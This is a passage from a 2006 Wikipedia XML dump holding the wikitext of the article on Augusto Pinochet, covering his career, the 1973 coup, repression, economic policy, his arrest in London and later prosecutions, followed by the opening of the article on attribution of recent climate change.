      <text xml:space="preserve">General '''Augusto José Ramón Pinochet Ugarte'''{{an|Name}} (born [[November 25]], [[1915]]) was head of the [[military dictatorship]] that ruled [[Chile]] from [[1973]] to [[1990]]. He came to power in a violent [[coup d'état|coup]] that deposed [[Salvador Allende]], a [[Marxism|Marxist]] physician who had become the first [[Socialist Party of Chile|Socialist]] to be elected [[President of Chile]]. The coup ended a period of strained relations between the [[United States]]—which had actively sought Allende's removal—and the [[South America]]n country, and allowed Pinochet to implement profound [[neoliberalism|neoliberal]] economic reforms and, at the same time, to commit extensive [[human rights violation]]s, both at home and abroad.
{{Infobox_President | name=Augusto Pinochet Ugarte
| nationality=not-american
| image=Augusto Pinochet official portrait.jpg
| term_start=[[September 11]], [[1973]] (coup)
| term_end=[[March 11]], [[1990]]
| predecessor=[[Salvador Allende]]
| successor=[[Patricio Aylwin]]
| birth_date=[[November 25]], [[1915]]
| birth_place=[[Valparaíso]]
| dead=alive
| death_date=
| death_place=
| spouse=[[Lucía Hiriart de Pinochet|Lucía Hiriart Rodríguez]]
| party=''none'' ([[military]])
| order=
| vicepresident=
}}
On [[September 11]], [[1973]], the military, led by Pinochet, stormed the presidential palace and seized power from President Allende, who was found dead soon after. A [[junta]] headed by Pinochet was established, which immediately suspended the constitution, dissolved [[Congress of Chile|Congress]], imposed strict censorship, proscribed the [[left-wing politics|leftist]] parties that had constituted Allende's [[Popular Unity]] coalition, and halted all political activity. In addition, it embarked on a campaign of terror against opponents and perceived [[leftist]]s in the country. As a result, approximately 3,000 Chilean [[resident]]s are known to have been executed, or &quot;[[forced disappearance|disappeared]]&quot;, more than 27,000{{an|Tortured}} were [[incarcerated]] and in a great many cases [[torture]]d, according to the [[Valech Report]]. Many were [[exile]]d and received abroad, in particular in [[Argentina]], as political refugees; but they were followed in their exile by the [[DINA]] secret police, in the frame of [[Operation Condor]] which linked South-American dictatorships together against political opponents.

In 1980, a new constitution was approved, which prescribed a single-candidate presidential [[plebiscite]] in 1988, and a return to civilian rule in 1990. Pinochet lost the 1988 plebiscite, which triggered multi-candidate presidential elections in 1989 to choose his replacement. Pinochet transferred power to [[Patricio Aylwin]], the new democratically elected president, in 1990; however, he retained his post as [[commander-in-chief]] of the army until 1998, when he assumed a seat in the [[Senate of Chile|Chilean Senate]], which was intended to be his for the duration of his life, according to the constitutional amendments of 1980. In 1998 Pinochet, who still had much influence in Chile, travelled to [[Britain]] for medical treatment. While there, he was arrested on a warrant from Spanish judge [[Baltasar Garzón]] and kept under house arrest for over a year, before eventually being released on medical grounds. He returned to Chile and resigned his senatorial seat in 2002, after a Supreme Court ruling that he suffered from &quot;vascular dementia&quot; and therefore could not stand trial for [[human rights]] abuses&amp;mdash;allegations of abuses had been made numerous times before his arrest, but never acted upon. In [[May 2004]], Chile's supreme court ruled that he was capable of standing trial, and he was charged with several crimes in December of that year.

Supporters of Pinochet credit him with staving off the beginning of [[Communism]], fighting terrorism from radical groups such as [[Movement of the Revolutionary Left|MIR]], and implementing [[free market]] policies that laid the groundwork for rapid economic growth that continued into the [[1990s]]. His opponents charge him with destroying Chile's democracy, pursuing a policy of [[state terrorism]], catering exclusively for private interests, and adopting economic policies that favored the wealthy and hurt the country's middle- and low-income sectors. While it was originally denied by his supporters, it is now generally accepted that Pinochet's government was responsible for torturing and killing thousands of people perceived to be opponents.

==Early career==
Pinochet was born in [[Valparaíso]] on [[November 25]], [[1915]], the son of Augusto Pinochet Vera and Avelina Ugarte Martínez. He went to primary and secondary school at the San Rafael Seminary of Valparaíso, the Quillota Institute ([[Marist Brothers]]), the French Fathers' School of Valparaíso, and in the Military School, which he entered in 1933. After four years of study, in 1937 he graduated with the rank of ''alférez'' ([[Second Lieutenant]]) in the [[infantry]].

In [[September]] [[1937]], he was assigned to the &quot;Chacabuco&quot; Regiment, in [[Concepción, Chile|Concepción]]. Two years later, in 1939, then with the rank of sub-lieutenant, he moved to the &quot;Maipo&quot; Regiment, garrisoned in Valparaíso. He returned to Infantry School in 1940. On [[January 30]], [[1943]], he married [[Lucía Hiriart|Lucía Hiriart Rodríguez]], with whom he had five children: three daughters (Inés Lucía, María Verónica, Jacqueline Marie) and two sons (Augusto Osvaldo and Marco Antonio).

At the end of 1945, he was assigned to the &quot;Carampangue&quot; Regiment in the northern city of [[Iquique]]. In 1948, he entered the War Academy, but he had to postpone his studies, because, being the youngest officer, he had to carry out a service mission in the [[coal]] zone of [[Lota, Chile|Lota]]. The following year, he returned to his studies in the Academy.

After obtaining the title of Officer Chief of Staff, in 1951, he returned to teach at the Military School. At the same time, he worked as a teachers' aide at the War Academy, giving military geography and geopolitics classes. In addition to this, he was active as editor of the institutional magazine ''Cien Águilas'' (&quot;One Hundred Eagles&quot;).

At the beginning of 1953, with the rank of major, he was sent for two years to the &quot;Rancagua&quot; Regiment in [[Arica, Chile|Arica]]. While there, he was appointed professor of the War Academy, and he returned to [[Santiago, Chile|Santiago]] to take up his new position. He also obtained a [[baccalaureate]], and with this degree, he entered the University of Chile's Law School.

[[Image:Allende-Pinochet.jpg|thumb|right|Pinochet (left) and Allende in 1973]]

In 1956, Pinochet was chosen, together with a group of other young officers, to form a military mission that would collaborate in the organization of the War Academy of [[Ecuador]] in [[Quito]], which forced him to suspend his law studies. He remained with the Quito mission for three-and-a-half years, during which time he dedicated himself to the study of [[geopolitics]], [[military geography]] and intelligence.

At the end of 1959, he returned to Chile and was sent to General Headquarters of the I Army Division, based in [[Antofagasta, Chile|Antofagasta]]. The following year, he was appointed Commander of the &quot;Esmeralda&quot; Regiment. Due to his success in this position, he was appointed Sub-director of the War Academy in 1963.

In 1968, he was named Chief of Staff of the II Army Division, based in [[Santiago, Chile|Santiago]], and at the end of that year, he was promoted to Brigadier General and Commander in Chief of the VI Division, garrisoned in [[Iquique]]. In his new function, he was also appointed Intendant of the [[Tarapacá]] Province.

In January 1971, he rose to Division General, and was named General Commander of the Santiago Army Garrison. At the beginning of 1972, he was appointed General Chief of Staff of the Army. With rising domestic strife in Chile, Pinochet was appointed Army Commander in Chief on [[August 23]], [[1973]] by President [[Salvador Allende]].

==Military coup of 1973==
''Main article: [[Chilean coup of 1973]].''
[[Image:Pinochetjunta.jpg|thumb|Pinochet (sitting) as head of the newly established military junta.]]

General Pinochet came to power in a [[coup d'état]] on [[September 11]], [[1973]], in which the rebelling Chilean Air Force bombed the [[Palacio de La Moneda|Presidential Palace]] while it was being stormed by Army troops. President [[Salvador Allende|Allende]] died during the capture of the palace. The exact circumstances of his death are disputed. According to the junta's official version, he committed suicide with a machine gun [http://www.presidencia.gob.cl/view/viewGaleriaPresidentes.asp?id=31&amp;seccion=Presidencia%20por%20Dentro&amp;interfazseccion=Galeria%20Presidentes#a31] which bore a golden plate engraved ''&quot;To my good friend Salvador Allende from [[Fidel Castro]].&quot;''  At the time and for many years after, his supporters nearly uniformly presumed that he was killed by the forces staging the coup. Another version says that Allende was killed in combat on the steps outside the Presidential Palace. An autopsy in 1990 found that Allende's wounds were consistent with the suicide account.

The new junta was made up of Pinochet representing the Army, Admiral [[José Toribio Merino]] representing the Navy, General [[Gustavo Leigh]] representing the Air Force, and [[César Mendoza]] representing the ''[[carabineros]]'' (the uniformed police). Since Pinochet was the chief of the oldest branch of the military forces (the Army), he was made the head of the victorious [[military dictatorship|junta]] — this position was originally to be rotated among the four branches, but was later made permanent. The [[military dictatorship|junta]] immediately moved to crush their left-wing opposition, arresting hundreds of people and killing many of them. Thousands more were arrested and tortured over the next three years, and a total of more than 3,000 were killed. Internationally, the Pinochet government became known for severe [[human rights abuse]]s, including 
many &quot;[[disappear]]ances&quot;.

In his [[memoir]]s, Pinochet affirms that he was the leading plotter of the coup, and used his position as Commander of the Army to coordinate a far-reaching scheme with the other two branches of the military and the national police. In recent years, however, high military officials from the time have said that Pinochet reluctantly got involved in the coup only a few days before it was scheduled to occur and followed the lead of other branches (especially the Navy) as they triggered the coup.

Once the Junta was in power, Pinochet soon consolidated his control, first retaining sole chairmanship of the [[military dictatorship|junta]], and then being proclaimed President on [[June 27]], [[1974]]. He was also promoted to the supreme army rank of ''Capitán General'' (literally Captain General), previously borne by colonial governors and by [[Bernardo O'Higgins]], a hero of Chile's war of independence, and first head of state.

General Leigh of the Air Force became increasingly opposed to Pinochet's policies, and he was kicked out of the junta on [[July 24]], [[1978]]. He was replaced by General [[Fernando Matthei]].

During 1977 and 1978, Chile was on the brink of war with Argentina (also ruled by a military government) over a disagreement regarding the ownership of the strategic [[Picton, Lennox and Nueva]] islands at the southern tip of South America. [[Antonio Samoré]], a representative of [[Pope John Paul II]], successfully prevented full-scale war. The conflict was finally resolved on 1984, with the Treaty of Peace and Friendship (''Tratado de Paz y Amistad''). Chilean sovereignty over the islands is now undisputed.

==Pinochet's economic policy==
[[Image:Augusto Pinochet with presidential band.jpg|thumb|Pinochet as self-proclaimed President]]

Once in power, Pinochet immediately set about making market-oriented economic reforms. He declared that he wanted &quot;to make Chile not a nation of proletarians, but a nation of proprietors&quot;. This was a play on words using the Spanish, &quot;propietarios&quot;, i.e. owners or business proprietors which rhymes with &quot;proletarios&quot;, i.e. proletarians. To formulate his economic policy, Pinochet relied on the so-called [[Chicago Boys]], who were economists trained at the [[University of Chicago]] and heavily influenced by the monetarist policies of [[Milton Friedman]].

Pinochet launched an era of economic [[deregulation]] and [[privatization]]. To accomplish his objectives, he abolished the [[minimum wage]], rescinded [[trade union]] rights, privatized the [[pension]] system, state [[industry|industries]], and [[bank]]s, and lowered [[tax]]es on [[wealth]] and [[profit]]s. Supporters of these policies (most notably Milton Friedman himself) have dubbed them &quot;[[Miracle of Chile|The Miracle of Chile]]&quot;, due to the 35% increase in real per capita GDP from 1960 to 1980 (later, from 1980 to 2000, it increased by 94%, but Pinochet was no longer in power after 1990).  There is much disagreement amongst economists regarding the accuracy of such statistics, with both sides normally selectively choosing those that better reflect their argument.  However, Pinochet did manage to address part of these problems during his final years as President, since unemployment was down to 7.8% in 1990. The shortage problems during the final years of Allende's administration were also remedied.

President Allende's economic policy had involved nationalizations of many key companies, notably U.S.-owned copper mines. This had been a significant reason behind the external Western opposition to Allende's Marxist government, in addition to his friendliness with [[Cuba]] and the [[Soviet Union]]. Much of the internal opposition to Allende's policies was from business sectors, and recently-released U.S. government documents confirm that the U.S. funded the lorry drivers' strike, [http://www.guardian.co.uk/international/story/0,3604,260382,00.html] that had exacerbated the already chaotic economic situation prior to the coup.

==Suppression of opposition==
[[Image:Chilean 1973 Junta.jpg|thumb|220px|Chile's military junta of 1973]]

After the military's seizure of power, Pinochet engaged in brutal political repression, aiming to destroy all remaining support for the defeated [[Unidad Popular|Popular Unity]] (PU) government. In [[October 1973]], at least 70 people were killed by the [[Caravan of Death]]. Almost immediately, the junta banned all the leftist parties that had constituted Allende's UP coalition. Much of the regime's violence was directed toward those it viewed as socialist or Marxist sympathizers, though dissidents who spoke out against the government were also persecuted. Those murdered during Pinochet's 17 years in power are said to have &quot;[[Forced disappearance|been disappeared]].&quot; It is not known exactly how many people were killed by government and military forces during the 17 years that he was in power, but the [[Rettig Report|Rettig Commission]] listed 2,095 deaths on both sides and 1,102 &quot;disappearances.&quot; [[Torture]] was also commonly used against dissidents. Thousands of Chileans fled the country to escape the regime. In 2004, the National Commission on Political Prisoners and Torture produced the [[Valech Report]] after interviewing an estimated 35,000 people who claimed to have been abused by the regime. About 28,000 of those testimonies were regarded as legitimate. According to the Commission, more than half of the arrests occurred in the months immediately following the coup (approximately 18,000 of those testifying claimed they were detained between September and December of 1973).

Pinochet's presidency was frequently made unstable by riots and isolated violent attacks. Assassination attempts were common, which increased government paranoia and contributed to the cycle of oppression.

In contrast to most other nations in [[Latin America]], prior to the coup Chile had a long tradition of democratic civilian rule; military intervention in politics had been rare. Some political scientists have ascribed the bloodiness of the coup to the stability of the existing democratic system, which required extreme action to overturn.

The situation in Chile came to international attention in September 1976, when [[Orlando Letelier]], a former Chilean [[Ambassador (diplomacy)|ambassador]] to the [[United States]] and minister in Allende's cabinet, was killed by a car bomb in [[Washington, D.C.]]. General [[Carlos Prats]], Pinochet's predecessor as army commander, who had resigned rather than support the moves against Allende, had died in similar circumstances in [[Buenos Aires]], [[Argentina]], two years earlier.

==Chilean foreign relations under Pinochet==
The new junta quickly broke off the diplomatic relations with [[Cuba]] that had been established under the Allende government. Having come to power with the self-proclaimed mission of fighting communism, Pinochet found common cause with the military dictatorships of [[Bolivia]], [[Brazil]], [[Paraguay]], [[Uruguay]], and later, [[Argentina]]. The six countries eventually formulated a plan that became known as [[Operation Condor]], in which one country's security forces would target suspected Marxist &quot;subversives,&quot; guerrillas, and their sympathizers in the allied countries. After [[Orlando Letelier]]'s assassination in Washington, D.C. ([[September]] [[1976]]) the [[United States]] started opposing themselves to Condor operations abroad (phase 3), asking for the extradition of [[DINA]] agent [[Michael Townley]]. However, it wasn't until details of the plot leaked out after each of the regimes collapsed and the discovery of the &quot;[[terror archives]]&quot; in [[Paraguay]] that Condor came to be widely condemned as coordinated [[state terrorism]]. The military governments justified, however, the &quot;[[Dirty War]]&quot; by the imperative of stability during a time when many [[Urban area|urban]] and [[rural]] Marxist guerrillas were actively seeking to violently overthrow each country's respective government. In Argentina, for example, the &quot;[[doctrine of the two demons]]&quot; was created to justify this violent form of [[anti-communism]] that took place in the more general historic frame of the [[Cold War]].

Under Pinochet, Chile was the only country in Latin America not to support Argentina in its war with the [[United Kingdom|U.K.]] over the [[Falkland Islands]] in 1982, after having almost started a war over a confrontation on some strategic islands.

Pinochet's government received tacit approval and material support from the [[United States of America]]. The exact nature and extent of this support is disputed. (''See'' [[Chilean coup of 1973#U.S. role in 1973 coup|U.S. role in 1973 Coup]], [[U.S. intervention in Chile]] and [[Operation Condor]] for more details.)

==End of the Pinochet regime==
In May 1983, the opposition and labor movements began to organize demonstrations and strikes against the regime, provoking violent responses from government officials. In 1986, security forces discovered 80 tons of weapons smuggled into the country by the [[Manuel Rodríguez Patriotic Front]] (FPMR), the armed branch of the outlawed [[Communist Party of Chile|Communist Party]]. The shipment of [[Carrizal Bajo]] included C-4 [[plastic explosive]]s, [[RPG-7]] and [[M72 LAW]] rocket launchers as well as more than three thousand [[M16 (rifle)|M-16]] rifles. The operation was overseen by [[Cuba]]n intelligence, and also involved [[East Germany]] and the [[Soviet Union]].   

In September, weapons from the same source were used in an unsuccessful [[assassination]] attempt against Pinochet by the FPMR. Pinochet suffered only minor injuries, but five of his military bodyguards were killed.

The beheading of Communists [[José Manuel Parada]], [[Manuel Guerrero]], and [[Santiago Nattino]] by the uniformed police ''(carabineros)'' led to the resignation of junta member General Mendoza on 1985.

According to the transitional provisions of the [[Constitution of Chile|1980 Constitution]], approved by 75% of voters in what has been said to be &quot;a highly irregular and undemocratic [[plebiscite]].&quot;{{ref|Hudson}}, a plebiscite was scheduled for [[October 5]], [[1988]], to vote on a new eight-year presidential term for Pinochet. The Constitutional Tribunal ruled that the plebiscite should be carried out as stipulated by the Law of Elections. That included an &quot;Electoral Space&quot; during which all positions, in this case two, ''Sí'' (yes), and ''No'', would have two free slots of equal and uninterrupted TV time, simultaneously broadcast by all TV channels, with no political advertising outside those spots. The allotment was scheduled in two off-prime time slots: one before the afternoon news and the other before the late-night news, from 22:45 to 23:15 each night (the evening news was from 20:30 to 21:30, and prime time from 21:30 to 22:30). The opposition ''No'' campaign, headed by [[Ricardo Lagos]], produced colorful, upbeat programs, telling the Chilean people to vote against the extension of the presidential term. Lagos, in an interview, called on Pinochet to account for all the &quot;disappeared&quot; persons. The ''Sí'' campaign did not argue for the advantages of extension, but was instead negative, claiming that voting &quot;no&quot; was equivalent to voting for a return to the chaos of the UP government.

In the plebiscite, 55% of the votes rejected the extension of the presidential term, against 42% for &quot;''Sí''&quot;, and again according to the provisions of the constitution, [[1989 Chilean presidential election|open presidential elections]] were held the next year, at the same time as congressional elections that would have taken place in either case. Pinochet left the presidency on [[March 11]], [[1990]].

Due to the transitional provisions of the constitution, Pinochet remained as Commander-in-Chief of the Army, until March 1998. He was then sworn in as a senator-for-life, a privilege first granted to former presidents with at least six years in office by the [[Constitution of Chile|1980 constitution]]. His senatorship and consequent immunity from prosecution protected him, and legal challenges began only after Pinochet had been arrested in Britain.

==Arrest==
[[Image:Pinochet-Thatcher.jpg|thumb|right|200px|Pinochet is visited by [[Margaret Thatcher]] during his house arrest in London, in 1998]]

While traveling abroad, Pinochet was arrested in October 1998 in [[London]], [[England]], under an international [[arrest warrant]] issued by judge [[Baltasar Garzón]] of [[Spain]], and he was placed under [[house arrest]]: initially in the clinic where he had just undergone back surgery, and later in a luxurious rented house. The charges included 94 counts of [[torture]] of Spanish citizens, and one count of conspiracy to commit torture. The government of Chile opposed his arrest, extradition to Spain, and trial.

There was a hard-fought 16-month legal battle in the House of Lords, the highest court of England, Pinochet claimed  immunity from prosecution as a former head of state. This was rejected, but the Lords decided that only crimes alleged to have been committed after the incorporation of the [[International Convention against Torture]] into English law in 1988 could be considered. This invalidated most, but not all, of the charges against him; but the outcome was that extradition could proceed.

There were then questions about Pinochet's allegedly fragile health. After medical tests, the Home Secretary [[Jack Straw (politician)|Jack Straw]] ruled, despite the protests of legal and medical experts from several countries, that he should not be extradited, and on [[2 March]] [[2000]], he returned to Chile.

===Significance of the arrest===
Despite his release on grounds of ill-health, the unprecedented detention of Augusto Pinochet Ugarte, a senator and former head of state of Chile, in a foreign country, for crimes against humanity committed in his own country while he was head of state, without a warrant or request for extradition from his own country, marks a watershed in international law, one of the most important events since the Nuremberg trials of Nazi war criminals. 

Spanish judge [[Baltasar Garzón]]'s case was largely founded on the principle of [[universal jurisdiction]]&amp;mdash;that certain crimes are so egregious that they constitute crimes against humanity and can therefore be prosecuted in any court in the world. The British House of Lords ruled that Pinochet had no right to  immunity from prosecution as a former head of state, and could be put on trial. (''See'' [http://www.globalpolicy.org/intljustice/universal/2004/0524ripple.htm The Ripple Effect of the Pinochet Case].)

==Prosecution in Chile==
On [[August 8]] [[2000]], the [[Supreme court of Chile|Supreme Court of Justice]] voted 14 to 6 to strip Pinochet of his parliamentary immunity, and he was prosecuted. However, the cases were dismissed by the same Court, for medical reasons (vascular [[dementia]]), in July 2002. Shortly after the verdict, Pinochet resigned from the Senate and lived quietly. He rarely made public appearances and was notably absent from the events marking the 30th anniversary of the coup on [[September 11]], [[2003]]. Almost two years after his resignation, on [[May 28]], [[2004]], the Court of Appeals voted 14 to 9 to revoke Pinochet's dementia status and, consequently, his immunity from prosecution. In arguing their case, the prosecution presented a recent television interview Pinochet had made to a [[Miami]]-based television network. The judges found that the interview raised doubts about the mental incapacity of Pinochet.

On [[August 26]], [[2004]], in a 9 to 8 vote, the Supreme Court confirmed the decision that Pinochet should lose his senatorial immunity from prosecution. On [[December 2]], [[2004]], the Santiago Appeals Court stripped Pinochet of immunity from prosecution over the 1974 assassination of General [[Carlos Prats]], his predecessor as Army Commander-in-Chief, who was killed by a car bomb during exile in Argentina. On [[December 13]], [[2004]], [[Judge]] [[Juan Guzmán]] placed Pinochet under house arrest and indicted him over the disappearance of nine opposition activists and the killing of one of them during his regime. On [[March 24]], [[2005]], the Supreme Court reversed the Santiago Appeals Court ruling in the [[Carlos Prats]] case, and affirmed Pinochet's immunity in that particular case. In another case involving the killing of 119 dissidents, the Supreme Court decided to strip Pinochet of his immunity in a ruling issued on [[September 14]], 2005.[http://news.bbc.co.uk/1/hi/world/americas/4246780.stm] The following day he was acquitted of the human rights case due to his ill health. Late in November of 2005, he was deemed fit to stand trial by the Chilean Supreme Court and was indicted on [[human rights]], for the disappearance of six dissidents arrested by Chile's security services in late 1974, and again placed under [[house arrest]], on the eve of his 90th birthday. (''See'' [[Operation Colombo]].)

===Tax fraud and foreign bank accounts===
A year long [[United States Senate|U.S. Senate]] investigatory committee released a report about [[Riggs Bank]] on [[July 15]], [[2004]], which had solicited Pinochet and controlled between USD $4 million and $8 million of his assets. According to the report, Riggs participated in [[money laundering]] for Pinochet, setting up offshore [[Shell company|shell corporations]] (referring to Pinochet as only &quot;a former public official&quot;), and hiding his accounts from regulatory agencies. The report said the violations were &quot;symptomatic of uneven and, at times, ineffective enforcement by all federal bank regulators, of bank compliance with their anti-money laundering obligations.&quot; Five days later, a Chilean court formally opened an investigation into Pinochet's finances for the first time, on allegations of fraud, misappropriation of funds, and bribery. Then, a few hours later, the state prosecutor, Chile's [[Chile State Defense Council|State Defense Council]] (''Consejo de Defensa del Estado)'', presented a second request for the same judge to investigate Pinochet's assets, but without directly accusing him of crimes. On [[October 1]], [[2004]], Chile's Internal Revenue Service (&quot;Servicio de Impuestos Internos&quot;) filed a lawsuit against Pinochet, accusing him of fraud and tax evasion, for the amount of USD $3.6 million in investment accounts at Riggs between 1996 and 2002. Pinochet could face fines totaling 300 percent of the amount owed, and prison time, if convicted. Aside from the legal ramifications, this evidence of financial impropiety has severely embarrassed Pinochet. According to the State Defense Council, his hidden assets could never have been acquired solely on the basis of his salary as President, Chief of the Armed Forces, and Life Senator. Late in November of 2005, he was deemed fit to stand trial by the Chilean Supreme Court and was indicted and put under house arrest on [[tax fraud]] and [[passport forgery]], but was released on bail; however he remained under house arrest, due to unrelated human rights charges.

On 23 February 2006 Augusto Pinochet's children Lucía, Jacqueline, Marco Antonio, Jacqueline and Verónica Pinochet; Augusto Pinochet's wife, Lucia Hiriart; a daughter-in-law; and Pinochet's personal secretary were indicted on charges of tax fraud, including failing to declare bank accounts overseas, and using false passports. Lucía flew to the US, but was detained and returned to Argentina, her country of departure, after attempting unsuccessfully to claim political asylum[http://www.cnn.com/2006/US/01/28/chile.pinochet/?section=cnn_topstories]. Further developments are to be expected (Feb 2006).

==Legacy==
Chileans remain deeply divided on his legacy. Some see him as a brutal dictator who ended democracy and led a regime characterized by torture and favoritism towards the rich, while others believe that he saved the country from communism and led the transformation of the Chilean economy into Latin America's most stable and fastest growing economy.

After a downturn at the end of the [[1960s]], Chile's economy entered a period of growth when Allende was elected. However, by the time the coup took place in 1973, the economy was in disarray. This was not entirely due to natural causes: in 1999 the US government released heavily censored versions of more than 1,100 previously classified documents from the CIA, defence and state department archives which detail efforts to provoke violent protests and economic chaos in Chile as part of US efforts to destabilise Allende's regime [http://www.guardian.co.uk/international/story/0,3604,260382,00.html].

Things initially grew worse during beginning of Pinochet's rule. Unemployment, 4.4% in 1973, increased to 19.9% in 1976, and peaked at 30.4% in 1983 [http://www.unc.edu/home/pconway/aea2000/Chilemac.pdf]. By end of Pinochet's rule, Chile was experiencing high economic growth. An analysis of Pinochet's reforms show that at beginning of Pinochet's rule, Chile attracted massive foreign investment but that very little was invested in production. The price of Chile's exports fell and wages were reduced. [[Income distribution]] became more regressive, and both relative and actual poverty increased. Homelessness and malnutrition became more widespread, and there was a sharp increase in the [[infant mortality rate]]. Many small businesses went bankrupt whilst the economy, including newly-privatised industries, came to be dominated by monopolies with connections to the junta and by foreign corporations. [[Inflation]] peaked in 1976, but was then slashed, and the economy started to grow again towards the end of the [[1970s]]. Although unemployment remained high, poverty started to fall. However, a second recession hit Chile in 1982, and the economy did not start to grow again until 1986. Unemployment also started to decline, and had fallen to 7.8%  when Pinochet left power in 1990.

Any doubts about the human rights abuses carried out by the Pinochet regime have been stilled by several detailed reports and the emergence of evidence. In [[January 2005]], the Chilean Army accepted institutional responsibility for past abuses. Other institutions also accept that abuses took place, but blame them on individuals, rather than official policy. Lucía Pinochet Hiriart, Augusto Pinochet's eldest daughter,  said the use of torture during his 1973–90 regime was &quot;barbaric and without justification&quot;, after seeing the [[Valech Report]].

{{start box}}
{{succession box | before = [[Salvador Allende]] | title = [[President of Chile]]&lt;br&gt;(military dictator) | years = 1974–1990| after = [[Patricio Aylwin]]}}
{{end box}}

{{Presidents of Chile}}

==Notes==
{{anb|Name}} Pronunciation ([[IPA chart for English|IPA]]):
{{IPA|/aw'gusto/}} ''or'' {{IPA|a'gusto/}},
{{IPA|/pino'ʧεt/}} ''or'' {{IPA|/pino'ʧε/}}. (i.e. &quot;Pih-noh-CHET&quot; is correct rather than the common mispronunciation &quot;Pih-noh-SHAY&quot;).&lt;br&gt;
{{anb|Tortured}} Many human rights organizations say more than 200,000 were arrested and tortured. The [[Valech Report]] (published in [[November 2004]]) tells of some 28,000 arrests in which the majority of those detained were tortured.

==Cites==
{{Note|Hudson}} Hudson, Rex A., ed. &quot;Chile: A Country Study.&quot; GPO for the Library of Congress. 1995. [[March 20]], [[2005]] &lt;http://lcweb2.loc.gov/frd/cs/cltoc.html&gt;

==See also==
*[[History of Chile]]
*[[U.S. intervention in Chile]]
*[[1970 Chilean presidential election]]
*[[Operation Condor]]
*''[[Missing (film)|Missing]]'', film based on the life of U.S. journalist [[Charles Horman]], who disappeared in the aftermath of the Pinochet coup.

==External links==
*[http://www.washingtonpost.com/wp-srv/inatl/longterm/pinochet/overview.htm Pinochet's Chile] (Washington Post)
*[http://news.amnesty.org/pages/pinochet_timeline Timeline of Pinochet Prosecution] (Amnesty International)
*{{es icon}}[http://www.pinochet.cl/ Augusto Pinochet Ugarte Foundation]
*{{es icon}}[http://www.pinochetreal.cl/ Pinochet Real – For Supporters of General Pinochet]
*[http://www.trentu.ca/~mneumann/pinochet.html &quot;The crimes of Augusto Pinochet&quot;] (several case studies)
*[http://news.bbc.co.uk/hi/english/special_report/1998/10/98/the_pinochet_file/newsid_198000/198306.stm BBC coverage] (special report)
*[http://news.bbc.co.uk/1/hi/world/americas/3604122.stm Article: &quot;Doubts Remain over Pinochet's Fate: Chile's 'antiquated penal code' could be his undoing&quot;]
*[http://web.archive.org/web/19991115165001/http://www.reconcile-chile.co.uk/press_releases.html Reconcile Chile]
*[http://www.geocities.com/CapitolHill/Congress/1770/harris.pdf A Tale of Two Chileans: Pinochet and Allende]
*[http://www.frontpagemag.com/Articles/ReadArticle.asp?ID=1174 Fidel, Pinochet &amp; Me] by David Horowitz
*[http://www.thenewamerican.com/tna/2000/04-10-2000/vo16no08_pinochet.htm Article: &quot;Persistent Persecution of Pinochet&quot;] (The New American)
*{{es icon}}[http://www.gobiernodechile.cl/comision_valech/index.asp Valech report on political imprisonment and torture, November 2004
*BBC News report: [http://news.bbc.co.uk/2/hi/americas/4352905.stm &quot;Banks accused over Pinochet cash&quot;]
*[http://web.amnesty.org/library/index/engamr220101999 Amnesty International]
*[http://www.remember-chile.org.uk/inside/HRQ83-05-04f.htm Remember Chile Inside]
*[http://www.remember-chile.org.uk/beginners/index.htm Remember Chile Begins]
*[http://www.gwu.edu/~nsarchiv/NSAEBB/NSAEBB8/nsaebb8.htm George Washington University article]
*[http://www.amazon.com/exec/obidos/tg/detail/-/1859843603/ Pinochet and Me] by Allende's US translator Marc Cooper, ISBN:1859843603

[[Category:1915 births|Pinochet, Augusto]]
[[Category:Living people|Pinochet, Augusto]]
[[Category:History of South America|Pinochet, Augusto]]
[[Category:History of Chile|Pinochet, Augusto]]
[[Category:Chilean people|Pinochet, Augusto]]
[[Category:Chilean heads of state|Pinochet, Augusto]]
[[Category:Chilean generals|Pinochet, Augusto]]
[[Category:Past leaders by coup|Pinochet, Augusto]]
[[Category:Politics of Chile|Pinochet, Augusto]]
[[Category:Rotary Club members|Pinochet, Augusto]]
[[Category:Operation Condor|Pinochet, Augusto]]
[[Category:Cold War|Pinochet, Augusto]]
[[Category:Anti-communism|Pinochet, Augusto]]
[[Category:December 2004 news|Pinochet, Augusto]]

[[be:Аўгуста Піначэт]]
[[bg:Аугусто Пиночет]]
[[ca:Augusto Pinochet Ugarte]]
[[da:Augusto Pinochet]]
[[de:Augusto Pinochet]]
[[eo:Augusto PINOCHET]]
[[es:Augusto Pinochet]]
[[fi:Augusto Pinochet]]
[[fr:Augusto Pinochet]]
[[he:אוגוסטו פינושה]]
[[hu:Augusto Pinochet]]
[[id:Augusto Pinochet]]
[[io:Augusto Pinochet]]
[[it:Augusto Pinochet]]
[[ja:アウグスト・ピノチェト]]
[[ko:아우구스토 피노체트]]
[[nl:Augusto Pinochet]]
[[no:Augusto Pinochet]]
[[pl:Augusto Pinochet]]
[[pt:Augusto Pinochet]]
[[ru:Пиночет, Аугусто]]
[[simple:Augusto Pinochet]]
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[[zh:奥古斯托·皮诺切特]]
[[zh-min-nan:Augusto Pinochet]]</text>
    </revision>
  </page>
  <page>
    <title>Attribution of recent climate change</title>
    <id>3201</id>
    <revision>
      <id>40703608</id>
      <timestamp>2006-02-22T12:34:06Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>Wikify dates</comment>
      <text xml:space="preserve">[[Image:Climate Change Attribution.png|250px|right|thumb|One [[global climate model]]'s reconstruction of temperature change during the 20th century as the result of five studied forcing factors and the amount of temperature change attributed to each.]]

'''Attribution of recent climate change''' attempts to discover what mechanisms are responsible for the observed changes in climate. The endeavour centers on the observed changes over the last century and in particular over the last 50 years, when observations are best and human influence greatest.

Over the past 150 years human activities have released increasing quantities of [[greenhouse gas]]es into the [[Earth's atmosphere|atmosphere]] that theory and [[climate model]]s say should lead to increases in temperature - colloquially known as [[global warming]].  Other human effects are relevant&amp;mdash;for example, sulphate [[Particulate|aerosol]] are believed to lead to cooling&amp;mdash;and natural factors also act.

[[historical temperature record|Temperatures have risen in the last century]] (somewhere between 0.4 and 0.8 °C) and the proportion of this warming that is due to human influence is still open to question. The  current scientific consensus, as expressed in [[2001]] by the [[Intergovernmental Panel on Climate Change]] (IPCC) and the [[National Academy of Sciences]] (NAS), and recently confirmed by a joint statement of the [[G8]] academies of science, is that ''most of the warming observed over the last 50 years is attributable to human activities''. 

